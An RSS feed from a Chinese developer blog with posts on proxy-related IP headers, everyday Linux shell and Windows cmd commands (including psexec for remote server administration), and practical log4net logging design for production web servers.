﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>IT博客-KiMoGiGi 技术文集-随笔分类-经验之谈</title><link>http://www.cnitblog.com/seeyeah/category/3172.html</link><description>不在乎选择什么，而在乎坚持多久……</description><language>zh-cn</language><lastBuildDate>Tue, 27 Sep 2011 20:23:30 GMT</lastBuildDate><pubDate>Tue, 27 Sep 2011 20:23:30 GMT</pubDate><ttl>60</ttl><item><title>获取用户IP地址的三个属性的区别(HTTP_X_FORWARDED_FOR,HTTP_VIA,REMOTE_ADDR)</title><link>http://www.cnitblog.com/seeyeah/archive/2010/11/04/70891.html</link><dc:creator>KiMoGiGi</dc:creator><author>KiMoGiGi</author><pubDate>Thu, 04 Nov 2010 03:35:00 GMT</pubDate><guid>http://www.cnitblog.com/seeyeah/archive/2010/11/04/70891.html</guid><wfw:comment>http://www.cnitblog.com/seeyeah/comments/70891.html</wfw:comment><comments>http://www.cnitblog.com/seeyeah/archive/2010/11/04/70891.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/seeyeah/comments/commentRss/70891.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/seeyeah/services/trackbacks/70891.html</trackback:ping><description><![CDATA[来自：http://www.cnblogs.com/craig/archive/2008/11/18/1335809.html
<br><br>
<p><strong> 一、没有使用代理服务器的情况： </strong> </p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; REMOTE_ADDR = 您的 IP<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; HTTP_VIA = 没数值或不显示<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; HTTP_X_FORWARDED_FOR = 没数值或不显示</p>
<p><strong> 二、使用透明代理服务器的情况：Transparent Proxies </strong> </p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; REMOTE_ADDR = 最后一个代理服务器 IP <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; HTTP_VIA = 代理服务器 IP<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; HTTP_X_FORWARDED_FOR = 您的真实 IP ，经过多个代理服务器时，这个值类似如下：203.98.182.163, 203.98.182.163, 203.129.72.215。</p>
<p>&nbsp;&nbsp; 这类代理服务器还是将您的信息转发给您的访问对象，无法达到隐藏真实身份的目的。</p>
<p><strong> 三、使用普通匿名代理服务器的情况：Anonymous Proxies </strong> </p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; REMOTE_ADDR = 最后一个代理服务器 IP <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; HTTP_VIA = 代理服务器 IP<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; HTTP_X_FORWARDED_FOR = 代理服务器 IP ，经过多个代理服务器时，这个值类似如下：203.98.182.163, 203.98.182.163, 203.129.72.215。</p>
<p>&nbsp;&nbsp; 隐藏了您的真实IP，但是向访问对象透露了您是使用代理服务器访问他们的。</p>
<p><strong> 四、使用欺骗性代理服务器的情况：Distorting Proxies </strong> </p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; REMOTE_ADDR = 代理服务器 IP <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; HTTP_VIA = 代理服务器 IP <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; HTTP_X_FORWARDED_FOR = 随机的 IP ，经过多个代理服务器时，这个值类似如下：203.98.182.163, 203.98.182.163, 203.129.72.215。</p>
<p>&nbsp;&nbsp; 告诉了访问对象您使用了代理服务器，但编造了一个虚假的随机IP代替您的真实IP欺骗它。</p>
<p><strong> 五、使用高匿名代理服务器的情况：High Anonymity Proxies (Elite proxies) </strong> </p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; REMOTE_ADDR = 代理服务器 IP<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; HTTP_VIA = 没数值或不显示<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; HTTP_X_FORWARDED_FOR = 没数值或不显示 ，经过多个代理服务器时，这个值类似如下：203.98.182.163, 203.98.182.163, 203.129.72.215。</p>
<p>&nbsp;&nbsp; 完全用代理服务器的信息替代了您的所有信息，就象您就是完全使用那台代理服务器直接访问对象。</p>
<br><img src ="http://www.cnitblog.com/seeyeah/aggbug/70891.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/seeyeah/" target="_blank">KiMoGiGi</a> 2010-11-04 11:35 <a href="http://www.cnitblog.com/seeyeah/archive/2010/11/04/70891.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>【原】开发总结3 -- shell 简单指令</title><link>http://www.cnitblog.com/seeyeah/archive/2010/08/25/68396.html</link><dc:creator>KiMoGiGi</dc:creator><author>KiMoGiGi</author><pubDate>Wed, 25 Aug 2010 09:03:00 GMT</pubDate><guid>http://www.cnitblog.com/seeyeah/archive/2010/08/25/68396.html</guid><wfw:comment>http://www.cnitblog.com/seeyeah/comments/68396.html</wfw:comment><comments>http://www.cnitblog.com/seeyeah/archive/2010/08/25/68396.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.cnitblog.com/seeyeah/comments/commentRss/68396.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/seeyeah/services/trackbacks/68396.html</trackback:ping><description><![CDATA[1、--help<br><br>当要获取相关指令的帮助时，在指令后打--help，即会显示帮助信息。<br>如<br>grep --help<br><br>2、ls 和 ll<br><br>* 两个指令是显示当前文件夹的文件。<br>ls只是显示文件名，ll会以列表形式显示文件名，并且会有日期、大小等。<br><br>* ll -h<br>这样文件大小就会以我们平常可读的形式显示，如10k，100M等。<br><br>3、pwd<br>显示当前目录路径<br><br>4、vi<br><br>* 直接打开文本 <br>vi +n path<br>打开文件，并将光标置于第n行首<br><br>* vi的快捷键<br>http://www.lpfrx.com/wp-content/uploads/2008/09/vi.jpg<br>常用快捷键<br>ctrl + u 向上翻半屏<br>ctrl + d 向下翻半屏<br>ctrl + b 向上翻一屏<br>ctrl + f 向下翻一屏<br><br>/pattern 从光标开始向文件尾开始搜索pattern<br>?pattern 从光标开始向文件首开始搜索pattern<br>n 同一方向重复上一次搜索指令<br>N 反方向重复上一次搜索指令<br><br>:q! 不保存文件并推出<br><br>5、grep<br><br>* 显示文本内容的匹配行<br>如：grep pattern filename<br>pattern可以是正则<br><br>* -r 可以递归文件夹搜索<br>grep 139 filename* -r<br><br>* -A -B -n 可以显示匹配行的前后几行<br>grep 139 filename -A 2 #显示匹配139行的后2行<br>grep 139 filename -B 1 #显示匹配139行的前1行<br>grep 139 filename -3&nbsp;&nbsp; #显示匹配139行的前3行和后3行<br><br>* -h 打印结果时，不显示文件名，使结果看起来清爽一点<br><br>* -m 打印匹配的前几项<br>grep 139 filename -m 10 #显示匹配前10行<br><br>* -n 打印结果时，前面带行号<br><br>* -v 打印不匹配的行<br><br>* --color 把匹配的文本标红色<br><br>6、cat<br>打印文本<br><br>7、sort<br>对结果排序<br><br>-k是指排序的列，1为第一列；-t是指定分隔符，默认为空格；-n列以数字形式排序；-r为倒序。<br>这些选项大多都可以合并<br><br>如<br>sort -k1nr<br>即结果第一列以数字形式倒序形式排列。<br><br>8、uniq<br>唯一统计，-c是显示统计结果<br><br>9、awk<br><br>结构如下<br>awk 'BEGIN{command} condition {command_line} END {command}' file<br><br>-F 为指定分隔符，默认为空格<br><br>常用内置函数如下<br>gsub(reg,string,target) 每次常规表达式reg匹配时替换target中的string <br>index(search,string) 返回string中search串的位置 <br>length(string) 求串string中的字符个数 <br>match(string,reg) 返回常规表达式reg匹配的string中的位置 <br>printf(format,variable) 格式化输出，按format提供的格式输出变量variable。 <br>split(string,store,delim) 根据分界符delim,分解string为store的数组元素 <br>strftime(format,timestamp) 返回一个基于format的日期或者时间串，timestmp是systime()函数返回的时间 <br>sub(reg,string,target) 第一次当常规表达式reg匹配，替换target串中的字符串 <br>substr(string,position,len) 返回一个以position开始len个字符的子串 <br>totower(string) 返回string中对应的小写字符 <br>toupper(string) 返回string中对应的大写字符 &nbsp;<br><br><br>常用内置标量如下<br>FNR 当前文件中的记录号<br>FS&nbsp; 输入域分隔符，默认为一个空格<br>RS&nbsp; 输入记录分隔符<br>NF&nbsp; 当前记录里域个数<br>NR&nbsp; 到目前为止记录数<br><br>例子：<br>搜索iis生产线日志，打印出执行描述超过5000ms的行：<br>awk 'NF==17 &amp;&amp; $NF&gt;5000 {printf("%-8s: %s %s %-50s %-17s %-4s %s %s %-8s %+7s&nbsp; \n",FNR,$1,$2,$6,$10,$14,$12,$15,$16,$NF/1000);}' ex100823.log<br>解释：<br>NF == 17 ：保证日志行有17列，可以屏蔽一些其他行<br>$NF &gt; 5000 ：$NF就是第17列，即最后列（一般我们的iis日志都是最后一列为执行事件）<br>printf ：打印行，并格式化。按生产线的日志，打印的列分别如下所示<br>"行号","日期","时间","链接","客户ip","win状态","http状态","发送字节数","接受字节数","时间（单位秒）"<br><br>10、top<br>监控当前进程执行状况<br><br>11、head和tail<br>分别为查看文本的头几行和尾几行<br>tail -f filename<br>可以监控文件的写入<br><br>12、ifconfig<br>当前机器的网卡状态<br><br><br>  <img src ="http://www.cnitblog.com/seeyeah/aggbug/68396.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/seeyeah/" target="_blank">KiMoGiGi</a> 2010-08-25 17:03 <a href="http://www.cnitblog.com/seeyeah/archive/2010/08/25/68396.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>【原】开发总结2 -- cmd命令</title><link>http://www.cnitblog.com/seeyeah/archive/2010/06/29/67095.html</link><dc:creator>KiMoGiGi</dc:creator><author>KiMoGiGi</author><pubDate>Tue, 29 Jun 2010 14:42:00 GMT</pubDate><guid>http://www.cnitblog.com/seeyeah/archive/2010/06/29/67095.html</guid><wfw:comment>http://www.cnitblog.com/seeyeah/comments/67095.html</wfw:comment><comments>http://www.cnitblog.com/seeyeah/archive/2010/06/29/67095.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/seeyeah/comments/commentRss/67095.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/seeyeah/services/trackbacks/67095.html</trackback:ping><description><![CDATA[由于用.net开发，少不了跟window服务器做交互。window系统的交互的确方便，但如果要做一些快速操作还是cmd比较快，而且不可能每个人都远程连接到服务器去操作、查看。<br><br>虽然window有powershell弥补cmd的不足，但Powershell的执行效率始终是个问题，而且cmd已经够我们日常的操作。<br><br>下面列出我常用的cmd操作指令。<br><br>
<h1>1、help</h1>
help指令会列出cmd一系列原生的指令，以及其简单的描述。<br>如果要对某个cmd指令做详细的帮助，可以输入<br>xx /?&nbsp;&nbsp;&nbsp; (xx为指令名)<br><br>
<h1>2、call</h1>
执行一个bat程序，如果有一些常用的一系列cmd指令，我们可以写成一个bat文件，然后用call来执行。<br><br>
<h1>3、findstr</h1>
在文件中搜索字符串，类似于shell的grep，但弱很多。<br>-- 查询准确字符串<br>
<div style="background-color: #eeeeee; font-size: 13px; border: 1px solid #cccccc; padding: 4px 5px 4px 4px; width: 98%;"><!--<br><br>Code highlighting produced by Actipro CodeHighlighter (freeware)<br>http://www.CodeHighlighter.com/<br><br>--><span style="color: #000000;">findstr&nbsp;</span><span style="color: #000000;">/</span><span style="color: #000000;">n&nbsp;</span><span style="color: #000000;">/</span><span style="color: #000000;">l&nbsp;xxx&nbsp;doc.log&nbsp;</span></div>
<br>-- 查询模糊字符串<br>
<div style="background-color: #eeeeee; font-size: 13px; border: 1px solid #cccccc; padding: 4px 5px 4px 4px; width: 98%;"><!--<br><br>Code highlighting produced by Actipro CodeHighlighter (freeware)<br>http://www.CodeHighlighter.com/<br><br>--><span style="color: #000000;">findstr&nbsp;</span><span style="color: #000000;">/</span><span style="color: #000000;">n&nbsp;</span><span style="color: #000000;">/</span><span style="color: #000000;">r&nbsp;xxx&nbsp;doc.log&nbsp;</span></div>
<br><br>其中&#8220;/n&#8221;是表示显示匹配行的行号，而查询模糊字符串的通配符并不是正则，是微软规定的通配符，如下所示：<br><br>一般表达式的快速参考:<br><br>&nbsp; .&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 通配符: 任何字符<br>&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 重复: 以前字符或类别出现零或零以上次数<br>&nbsp; ^&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 行位置: 行的开始<br>&nbsp; $&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 行位置: 行的终点<br>&nbsp; [class]&nbsp; 字符类别: 任何在字符集中的字符<br>&nbsp; [^class] 补字符类别: 任何不在字符集中的字符<br>&nbsp; [x-y]&nbsp;&nbsp;&nbsp; 范围: 在指定范围内的任何字符<br>&nbsp; \x&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Escape: 元字符 x 的文字用法<br>&nbsp; \&lt;xyz&nbsp;&nbsp;&nbsp; 字位置: 字的开始<br>&nbsp; xyz\&gt;&nbsp;&nbsp;&nbsp; 字位置: 字的结束<br><br>还需要注意的是，findstr是以操作系统的默认编码打开文本文件的，因此如果文本是unicode编码的话，便搜索不了，会乱码显示。<br><br>
<h1>4、type</h1>
显示文本的内容，跟findstr一样，有编码的缺点。<br><br><br>
<h1>5、tasklist</h1>
查询目前执行的进程状况，直接输入tasklist就直接以table形式列出所有进程的状况。<br><br>tasklist提供参数可以过滤信息，比如我们只想看w3wp进程的信息。<br>
<div style="background-color: #eeeeee; font-size: 13px; border: 1px solid #cccccc; padding: 4px 5px 4px 4px; width: 98%;"><!--<br><br>Code highlighting produced by Actipro CodeHighlighter (freeware)<br>http://www.CodeHighlighter.com/<br><br>--><span style="color: #000000;">tasklist&nbsp;</span><span style="color: #000000;">/</span><span style="color: #000000;">fi&nbsp;</span><span style="color: #000000;">"</span><span style="color: #000000;">Imagename&nbsp;eq&nbsp;w3wp.exe</span><span style="color: #000000;">"</span></div>
<br>我们想看使用内存大于500000k的进程<br>
<div style="background-color: #eeeeee; font-size: 13px; border: 1px solid #cccccc; padding: 4px 5px 4px 4px; width: 98%;"><!--<br><br>Code highlighting produced by Actipro CodeHighlighter (freeware)<br>http://www.CodeHighlighter.com/<br><br>--><span style="color: #000000;">tasklist&nbsp;</span><span style="color: #000000;">/</span><span style="color: #000000;">fi&nbsp;</span><span style="color: #000000;">"</span><span style="color: #000000;">memusage&nbsp;gt&nbsp;50000</span><span style="color: #000000;">"</span><span style="color: #000000;">&nbsp;</span></div>
<br>相叠加条件的话，可以多个/fi即可。<br><br>tasklist 还提供一个参数 /M ，让我们可以查看进程加载dll的情况。<br>
<div style="background-color: #eeeeee; font-size: 13px; border: 1px solid #cccccc; padding: 4px 5px 4px 4px; width: 98%;"><!--<br><br>Code highlighting produced by Actipro CodeHighlighter (freeware)<br>http://www.CodeHighlighter.com/<br><br>--><span style="color: #000000;">tasklist&nbsp;</span><span style="color: #000000;">/</span><span style="color: #000000;">fi&nbsp;</span><span style="color: #000000;">"</span><span style="color: #000000;">Imagename&nbsp;eq&nbsp;w3wp.exe</span><span style="color: #000000;">"</span><span style="color: #000000;">&nbsp;</span><span style="color: #000000;">/</span><span style="color: #000000;">m</span></div>
这样就可以清楚看到各个w3wp.exe所加载dll的情况，我们就可以分出哪个w3wp进程在管理哪个web程序。（本人通常看到服务器运行n个w3wp.exe，但却无法识别哪个w3wp对应是哪个web程序）<br>如果我们asp.net的dll有命名规则，比如dll都以公司名为开头，如CompanyName.Web.dll<br>那么可以在/M加上通配符过滤结果。<br>
<br>
<div style="background-color: #eeeeee; font-size: 13px; border: 1px solid #cccccc; padding: 4px 5px 4px 4px; width: 98%;"><!--<br><br>Code highlighting produced by Actipro CodeHighlighter (freeware)<br>http://www.CodeHighlighter.com/<br><br>--><span style="color: #000000;">tasklist&nbsp;</span><span style="color: #000000;">/</span><span style="color: #000000;">fi&nbsp;</span><span style="color: #000000;">"</span><span style="color: #000000;">Imagename&nbsp;eq&nbsp;w3wp.exe</span><span style="color: #000000;">"</span><span style="color: #000000;">&nbsp;</span><span style="color: #000000;">/</span><span style="color: #000000;">m&nbsp;</span><span style="color: #000000;">"</span><span style="color: #000000;">CompanyName*</span><span style="color: #000000;">"</span></div>
<br>这样就更清楚列出，这个w3wp具体加载我们dll的情况。<br><br><hr style="width: 100%; height: 2px;"><br>也许这些指令还不够用，微软提供了命令行的扩展包可供下载，<a style="text-decoration: underline;" target="_blank" href="http://www.microsoft.com/downloads/details.aspx?FamilyID=9d467a69-57ff-4ae7-96ee-b18c4790cffd&amp;displaylang=en"></a><a style="text-decoration: underline;" target="_blank"  href="http://www.microsoft.com/downloads/details.aspx?familyid=9d467a69-57ff-4ae7-96ee-b18c4790cffd&amp;displaylang=en">Windows Server 2003 Resource Kit Tools</a>
。直接安装即可使用，但安装后help并不会把这些指令列出来。<br><br>
<h1>1、qgrep</h1>
跟findstr类似，用于查询文本中的字符串。<br><br>
<h1>2、tail</h1>
跟shell的tail类似，但tail -f功能有时会失灵。。。<br><br><hr style="width: 100%; height: 2px;"><br>关于iis管理操作方面，也有指令可以做简单的控制。<br><br>
<h1>1、iisreset</h1>
管理iis的服务，可以查看、停止、重启、开启iis服务。<br><br>iisreset /stop&nbsp;&nbsp; 停止iis<br>iisreset /start&nbsp; 启动iis<br>iisreset&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 重启iis<br>iisreset /status 查看状态<br><br>
<h1>2、iisapp</h1>
iisapp用于管理应用程序池，我们更新配置文件需要清除缓存的时候，需要回收进程池。<br><br>我们可以用iisapp列出当前启用的进程池。<br>然后用<br>
<div style="background-color: #eeeeee; font-size: 13px; border: 1px solid #cccccc; padding: 4px 5px 4px 4px; width: 98%;"><!--<br><br>Code highlighting produced by Actipro CodeHighlighter (freeware)<br>http://www.CodeHighlighter.com/<br><br>--><span style="color: #000000;">iisapp&nbsp;</span><span style="color: #000000;">/</span><span style="color: #000000;">a&nbsp;</span><span style="color: #000000;">"</span><span style="color: #000000;">appname</span><span style="color: #000000;">"</span><span style="color: #000000;">&nbsp;</span><span style="color: #000000;">/</span><span style="color: #000000;">r</span></div>
回收进程池<br><br><hr style="width: 100%; height: 2px;"><br>一般cmd我们只可以操作本机，操作远程机器的我们需要借助微软的<a style="text-decoration: underline;" target="_blank" href="http://technet.microsoft.com/en-us/sysinternals/bb896649.aspx">PsTools</a>。<br><br>pstools本身也有很多有用的指令，但远程的话，我们就只用psexec。<br><br>操作很简单，只需要客户端有pstools即可，服务器不用做额外服务配置，输入如下<br><br>
<div style="background-color: #eeeeee; font-size: 13px; border: 1px solid #cccccc; padding: 4px 5px 4px 4px; width: 98%;"><!--<br><br>Code highlighting produced by Actipro CodeHighlighter (freeware)<br>http://www.CodeHighlighter.com/<br><br>--><span style="color: #000000;">psexec&nbsp;\\[ip或机器名]&nbsp;</span><span style="color: #000000;">-</span><span style="color: #000000;">u&nbsp;[用户名]&nbsp;</span><span style="color: #000000;">-</span><span style="color: #000000;">p&nbsp;[密码]&nbsp;cmd.exe&nbsp;</span></div>
<br><br>这样就可以操作远程机器的cmd了。<br><br><br>   <img src ="http://www.cnitblog.com/seeyeah/aggbug/67095.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/seeyeah/" target="_blank">KiMoGiGi</a> 2010-06-29 22:42 <a href="http://www.cnitblog.com/seeyeah/archive/2010/06/29/67095.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>【原】开发总结1 -- 日志</title><link>http://www.cnitblog.com/seeyeah/archive/2010/06/27/67052.html</link><dc:creator>KiMoGiGi</dc:creator><author>KiMoGiGi</author><pubDate>Sun, 27 Jun 2010 03:34:00 GMT</pubDate><guid>http://www.cnitblog.com/seeyeah/archive/2010/06/27/67052.html</guid><wfw:comment>http://www.cnitblog.com/seeyeah/comments/67052.html</wfw:comment><comments>http://www.cnitblog.com/seeyeah/archive/2010/06/27/67052.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.cnitblog.com/seeyeah/comments/commentRss/67052.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/seeyeah/services/trackbacks/67052.html</trackback:ping><description><![CDATA[<meta http-equiv="Content-Type" content="text/html; charset=" utf-8="">
<meta name="ProgId" content="Word.Document">
<meta name="Generator" content="Microsoft Word 11">
<meta name="Originator" content="Microsoft Word 11">
<link rel="File-List" href="file:///C:%5CUsers%5Ctoshiba%5CAppData%5CLocal%5CTemp%5Cmsohtml1%5C01%5Cclip_filelist.xml"><!--[if gte mso 9]><xml>
Normal
0
7.8 磅
0
2
false
false
false
MicrosoftInternetExplorer4
</xml><![endif]--><!--[if gte mso 9]><xml>
</xml><![endif]--><style>
<!--
/* Font Definitions */
@font-face
{font-family:Wingdings;
panose-1:5 0 0 0 0 0 0 0 0 0;
mso-font-charset:2;
mso-generic-font-family:auto;
mso-font-pitch:variable;
mso-font-signature:0 268435456 0 0 -2147483648 0;}
@font-face
{font-family:宋体;
panose-1:2 1 6 0 3 1 1 1 1 1;
mso-font-alt:SimSun;
mso-font-charset:134;
mso-generic-font-family:auto;
mso-font-pitch:variable;
mso-font-signature:3 680460288 22 0 262145 0;}
@font-face
{font-family:新宋体;
panose-1:2 1 6 9 3 1 1 1 1 1;
mso-font-charset:134;
mso-generic-font-family:modern;
mso-font-pitch:fixed;
mso-font-signature:3 680460288 22 0 262145 0;}
@font-face
{font-family:"\@新宋体";
panose-1:2 1 6 9 3 1 1 1 1 1;
mso-font-charset:134;
mso-generic-font-family:modern;
mso-font-pitch:fixed;
mso-font-signature:3 680460288 22 0 262145 0;}
@font-face
{font-family:"\@宋体";
panose-1:2 1 6 0 3 1 1 1 1 1;
mso-font-charset:134;
mso-generic-font-family:auto;
mso-font-pitch:variable;
mso-font-signature:3 680460288 22 0 262145 0;}
/* Style Definitions */
p.MsoNormal, li.MsoNormal, div.MsoNormal
{mso-style-parent:"";
margin:0cm;
margin-bottom:.0001pt;
text-align:justify;
text-justify:inter-ideograph;
mso-pagination:none;
font-size:10.5pt;
mso-bidi-font-size:12.0pt;
font-family:"Times New Roman";
mso-fareast-font-family:宋体;
mso-font-kerning:1.0pt;}
/* Page Definitions */
@page
{mso-page-border-surround-header:no;
mso-page-border-surround-footer:no;}
@page Section1
{size:612.0pt 792.0pt;
margin:72.0pt 90.0pt 72.0pt 90.0pt;
mso-header-margin:36.0pt;
mso-footer-margin:36.0pt;
mso-paper-source:0;}
div.Section1
{page:Section1;}
/* List Definitions */
@list l0
{mso-list-id:604776731;
mso-list-type:hybrid;
mso-list-template-ids:1522985040 67698689 67698691 67698693 67698689 67698691 67698693 67698689 67698691 67698693;}
@list l0:level1
{mso-level-number-format:bullet;
mso-level-text:;
mso-level-tab-stop:21.0pt;
mso-level-number-position:left;
margin-left:21.0pt;
text-indent:-21.0pt;
font-family:Wingdings;}
@list l1
{mso-list-id:891304707;
mso-list-type:hybrid;
mso-list-template-ids:843605946 67698689 67698691 67698693 67698689 67698691 67698693 67698689 67698691 67698693;}
@list l1:level1
{mso-level-number-format:bullet;
mso-level-text:;
mso-level-tab-stop:21.0pt;
mso-level-number-position:left;
margin-left:21.0pt;
text-indent:-21.0pt;
font-family:Wingdings;}
@list l2
{mso-list-id:2065907281;
mso-list-type:hybrid;
mso-list-template-ids:-555692502 67698689 67698691 67698693 67698689 67698691 67698693 67698689 67698691 67698693;}
@list l2:level1
{mso-level-number-format:bullet;
mso-level-text:;
mso-level-tab-stop:21.0pt;
mso-level-number-position:left;
margin-left:21.0pt;
text-indent:-21.0pt;
font-family:Wingdings;}
ol
{margin-bottom:0cm;}
ul
{margin-bottom:0cm;}
-->
</style><!--[if gte mso 10]>
<style>
/* Style Definitions */
table.MsoNormalTable
{mso-style-name:普通表格;
mso-tstyle-rowband-size:0;
mso-tstyle-colband-size:0;
mso-style-noshow:yes;
mso-style-parent:"";
mso-padding-alt:0cm 5.4pt 0cm 5.4pt;
mso-para-margin:0cm;
mso-para-margin-bottom:.0001pt;
mso-pagination:widow-orphan;
font-size:10.0pt;
font-family:"Times New Roman";
mso-ansi-language:#0400;
mso-fareast-language:#0400;
mso-bidi-language:#0400;}
</style>
<![endif]-->
<p>&nbsp;</p>
<p><strong>一、前言</strong></p>
<p>&nbsp;</p>
<p>在日常个人开发中，有类似vs这样强大的IDE就可以方便地随意跟踪和debug。然而很多时候，错误和异常是发生在生产线上，而且并不是必然重现。对付这种类型的bug，在生产线上又没有（且不能有IDE）的情况下，跟踪和修复是极为困难的事情。因此，日志变得极其重要。</p>
<p>&nbsp;</p>
<p>日志好像很简单，就是程序运行到哪里，记录一些文字就ok了，它的实质也的确是如此，但如果不注意细节，到了实际的开发遇到真正问题要找日志的时候，你会遇到很多麻烦。</p>
<p>&nbsp;</p>
<p><strong>二、日志记录设计</strong></p>
<p>&nbsp;</p>
<p>随着你开发的进度，如果不及时清理旧有无用的日志（有些日志甚至是在开发时临时加上的），会令到你的日志文件变得臃肿、冗余，而且大部分都是无用的记录，这些都会导致定位问题困难。因此在开发时，除了设计程序结构，也要考虑到设计记录日志的地方。日志的设计除了记录日志的地方，还要考虑记录日志的级别，比如log4net就有Info、Debug、Warn、Error、Fatal，根据不同的情况输出不同级别的日志。下面就讲述在程序中使用日志开发应考虑的几点：</p>
<p>&nbsp;</p>
<p><strong>1</strong><strong>、日志配置文件</strong></p>
<p>一般的日志框架都会有跟随一个配置文件，它可以控制日志的输出内容格式、输出方式（文本）、输出的日志级别等等。通常一个程序对应一个配置文件是正确的。但在web的服务器上，通常我们会使用多台服务器做负载均衡，同样的一个web程序就会放置在不同的服务器上面，那样他们在正常情况读的都是同样的日志配置文件。有的设计为了方便，就把这些日志的配置文件放置到一个地方（如数据库），然后所有web程序都读取这个配置文件。这样做法有利有弊，利就是当修改日志配置文件时，修改一处即可；弊就是无法对个别web程序做差异化配置。</p>
<p>&nbsp;</p>
<p>因此我们为了兼顾差异化配置， 可以用如下顺序读取配置文件。</p>
<p>Web程序 -&gt; 先读取web本地的配置文件 -&gt; （如本地文件不存在）再读取公共配置的日志文件。</p>
<p>其实很简单，中间多一步处理就可以兼顾日志文件的差异化配置。</p>
<p>&nbsp;</p>
<p><strong>2</strong><strong>、记录日志级别</strong></p>
<p>上面也有提到log4net本身就提供Info、Debug、Warn、Error、Fatal 5种的日志级别。但我个人认为，用3种即可：Info、Debug、Error。</p>
<p>&nbsp;</p>
<p>Info：记录程序运行是否已到达某处；关键函数的执行始末；调用第三方函数执行的始末；关键函数的执行时间。</p>
<p>Debug：记录每个函数（方法）的输入和输出。</p>
<p>Error：程序异常，除了记录程序的Exception内容之外，还要记录导出此次异常的输入参数。</p>
<p>&nbsp;</p>
<p>关于Error，log4net会把整个异常的StackTrace打印出来，因为StackTrace内容太多，我们可以考虑Error也分开2个日志文件，一个放置我们的内容（出错函数名、输入参数、必要信息）；另一个放置Exception的详细内容。</p>
<p>&nbsp;</p>
<p>鉴于上面的分析，我们的日志产出的文件可以有3个：</p>
<ul>
    <li><!--[if !supportLists]--><!--[endif]-->Info级别的日志</li>
    <li><!--[if !supportLists]--><!--[endif]-->Debug级别和Error级别（我们自定义内容）</li>
    <li><!--[if !supportLists]-->Error级别，专门存放Exception详细内容的日志。</li>
</ul>
<p>&nbsp;</p>
<p><strong>3</strong><strong>、记录日志内容格式</strong></p>
<p>&nbsp;</p>
<p>这个一般是按个人喜好和团队习惯来定义，一般一个团队最好都用一个格式来定义，起码大家都能看懂。但无论用什么格式，我对日志格式有几个建议：</p>
<p>&nbsp;</p>
<ul>
    <li><!--[if !supportLists]--><!--[endif]-->一条日志内容应该都在一行，无论使用shell的grep还是powershell的select-string、cmd的find，这会都会方便的定位日志内容。</li>
    <li><!--[if !supportLists]-->日志内容都用英文，因为如果用中文的话，打开日志文件的时候会有可能有了乱码的问题，虽然有些命令行可以指定打开日志的编码，但始终会大为不便。</li>
    <li><!--[if !supportLists]--><!--[endif]-->日志文件命名，除了时间，要加上程序和服务器的名称。下载下来的时候，可以一眼知道此日志文件的来源。</li>
</ul>
<p>&nbsp;</p>
<p><strong>4</strong><strong>、避免写日志锁定</strong></p>
<p>&nbsp;</p>
<p>在记录日志的时候，尽量不要锁定日志文件。有的情景，需要不同程序写入同一个日志文件，这样就会导致文件被一个程序锁死而其他程序无法写入日志的异常。</p>
<p>&nbsp;</p>
<p><strong>三、定位日志内容</strong></p>
<p>&nbsp;</p>
<p>有了日志记录，有问题的时候，那当然要搜索日志文件。看似很简单，直接打开文本Ctrl + F不就完了吗？其实不是，在实际开发情况日志文件都在远程的服务器，而且日志文件有时大至几百兆，打开很困难。</p>
<p>&nbsp;</p>
<p>查看日志的方式有几个：</p>
<ul>
    <li><!--[if !supportLists]--><!--[endif]-->使用shell语言的话，直接使用grep指令即可。使用tail &#8211;f 可以跟踪日志文件</li>
    <li><!--[if !supportLists]--><!--[endif]-->Window2003本身没有tail指令，但可以安装Windows Server
    2003 Resource Kit Tools来获取tail指令。Window的远程cmd可以通过psexec来实现。</li>
</ul>
<p>&nbsp;</p>
